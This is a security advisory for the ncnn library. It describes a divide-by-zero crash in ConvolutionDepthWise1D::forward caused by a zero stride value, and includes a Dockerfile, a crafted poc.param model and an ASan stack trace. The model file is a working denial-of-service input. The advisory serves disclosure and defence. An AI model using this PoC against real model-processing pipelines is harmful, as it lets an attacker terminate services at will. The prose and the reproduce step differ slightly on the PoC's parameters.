Zero Stride Causes Model Optimization Denial Of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/convolutiondepthwise1d.cpp:172 in ConvolutionDepthWise1D::forward
Sanitizer verdict: FPE on unknown address 0x628d0bcef36d (pc 0x628d0bcef36d bp 0x7ffef5ee12c0 sp 0x7ffef5ee1160 T0)
Summary
A ConvolutionDepthWise1D layer with stride_w set to zero (parameter key 3) crashes ncnnoptimize with SIGFPE during shape inference, before any optimized model is written. ConvolutionDepthWise1D::load_param accepts the zero without validation and forward divides the padded input width by it to compute the output width. Any pipeline that runs ncnnoptimize — or any ncnn consumer that executes the graph on the CPU — on an attacker-supplied model pair can be terminated at will.
Detail
The untrusted field is parameter key 3 of the ConvolutionDepthWise1D record, read into stride_w. pd.get(3, 1) defaults to 1 only when the key is absent. load_param does perform some consistency checking further down — it rejects num_output % group != 0 — but never checks that the stride, kernel, or dilation are positive, so 3=0 passes straight through to execution.
// src/layer/convolutiondepthwise1d.cpp:20
num_output = pd.get(0, 0);
kernel_w = pd.get(1, 0);
dilation_w = pd.get(2, 1);
stride_w = pd.get(3, 1);
// src/layer/convolutiondepthwise1d.cpp:167
const int w = bottom_blob_bordered.w;
const size_t elemsize = bottom_blob.elemsize;
const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;
const int outw = (w - kernel_extent_w) / stride_w + 1;
The PoC declares a length-4 Input and ConvolutionDepthWise1D dw 1 1 data out 0=1 1=1 3=0 6=1 7=1: one output channel, kernel width 1, stride 0, one weight, one group. At line 172 w is 4 and kernel_extent_w is 1 * (1 - 1) + 1 = 1, so the expression is (4 - 1) / 0. The idiv with a zero divisor raises #DE and the process takes SIGFPE.
Execution reaches forward because ncnnoptimize derives blob shapes by running the graph: optimizer.shape_inference() (tools/ncnnoptimize.cpp:2844) issues ex.extract(top_blob_index, m) for every layer top (tools/modelwriter.h:435). The accompanying poc.bin only needs to satisfy the weight loader — a zero quantize tag plus a single FP32 value — so essentially all of the attacker's control is in the parameter text.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-stride-causes-model-optimization-denial-of-service && cd ncnn-poc-zero-stride-causes-model-optimization-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
2 2
Input input 0 1 data 0=4
ConvolutionDepthWise1D dw 1 1 data out 0=1 1=1 3=0 6=1
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x57e45086636d (pc 0x57e45086636d bp 0x7ffdef414270 sp 0x7ffdef414110 T0)
#0 0x57e45086636d in ncnn::ConvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/convolutiondepthwise1d.cpp:172
#1 0x57e447f0df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#2 0x57e447effb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#3 0x57e447f5f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#4 0x57e447df13c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#5 0x57e447e6eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#6 0x7164460af1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7164460af28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x57e447dee624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/convolutiondepthwise1d.cpp:172 in ncnn::ConvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst